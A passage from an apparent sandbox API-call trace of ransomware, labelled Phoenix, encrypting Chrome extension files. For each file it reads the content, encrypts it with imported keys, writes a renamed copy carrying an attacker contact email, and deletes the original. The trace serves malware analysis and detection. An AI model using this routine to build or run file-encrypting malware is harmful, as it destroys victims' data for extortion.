	[0260.615] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.615] CryptDestroyKey (hKey=0x151380) returned 1
	[0260.615] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.615] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.615] CloseHandle (hObject=0x254) returned 1
	[0260.615] CloseHandle (hObject=0x2c0) returned 1
	[0260.615] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json")) returned 1
	[0260.624] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.624] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.624] CloseHandle (hObject=0x2c0) returned 1
	[0260.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json")) returned 0x20
	[0260.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.625] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.625] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.625] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.625] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.625] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151480) returned 1
	[0260.626] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.626] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.842] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.842] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.843] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0260.843] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.843] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.843] CryptDestroyKey (hKey=0x151300) returned 1
	[0260.843] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.843] CryptDestroyKey (hKey=0x151480) returned 1
	[0260.843] CloseHandle (hObject=0x2c0) returned 1
	[0260.843] CloseHandle (hObject=0x254) returned 1
	[0260.844] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json")) returned 1
	[0260.845] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.845] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.846] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.846] CloseHandle (hObject=0x254) returned 1
	[0260.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json")) returned 0x20
	[0260.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.846] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.846] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.846] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.846] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.847] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0260.847] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.847] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.848] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.848] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.849] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0260.849] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.849] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.849] CryptDestroyKey (hKey=0x151340) returned 1
	[0260.849] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.849] CryptDestroyKey (hKey=0x151540) returned 1
	[0260.849] CloseHandle (hObject=0x254) returned 1
	[0260.849] CloseHandle (hObject=0x2c0) returned 1
	[0260.850] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json")) returned 1
	[0260.852] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.852] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.852] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.852] CloseHandle (hObject=0x2c0) returned 1
	[0260.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json")) returned 0x20
	[0260.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.853] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.853] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.853] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.853] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.853] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0260.853] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.853] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.855] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.855] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.856] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0260.856] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.856] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.856] CryptDestroyKey (hKey=0x151100) returned 1
	[0260.856] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.856] CryptDestroyKey (hKey=0x151300) returned 1
	[0260.856] CloseHandle (hObject=0x2c0) returned 1
	[0260.856] CloseHandle (hObject=0x254) returned 1
	[0260.856] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json")) returned 1
	[0260.858] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.858] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.859] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10089) returned 1
	[0260.859] CloseHandle (hObject=0x254) returned 1
	[0260.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json")) returned 0x20
	[0260.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.859] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.859] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.859] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.859] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.861] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0260.861] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.861] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2769, lpOverlapped=0x0) returned 1
	[0260.926] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2770, dwBufLen=0x2770 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2770) returned 1
	[0260.926] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2770, lpOverlapped=0x0) returned 1
	[0261.056] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0261.056] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.056] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0261.056] CryptDestroyKey (hKey=0x151780) returned 1
	[0261.056] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0261.056] CryptDestroyKey (hKey=0x151100) returned 1
	[0261.056] CloseHandle (hObject=0x254) returned 1
	[0261.056] CloseHandle (hObject=0x2c0) returned 1
	[0261.061] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json")) returned 1
	[0261.063] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.063] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.064] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4984) returned 1
	[0261.064] CloseHandle (hObject=0x250) returned 1
	[0261.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png")) returned 0x20
	[0261.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
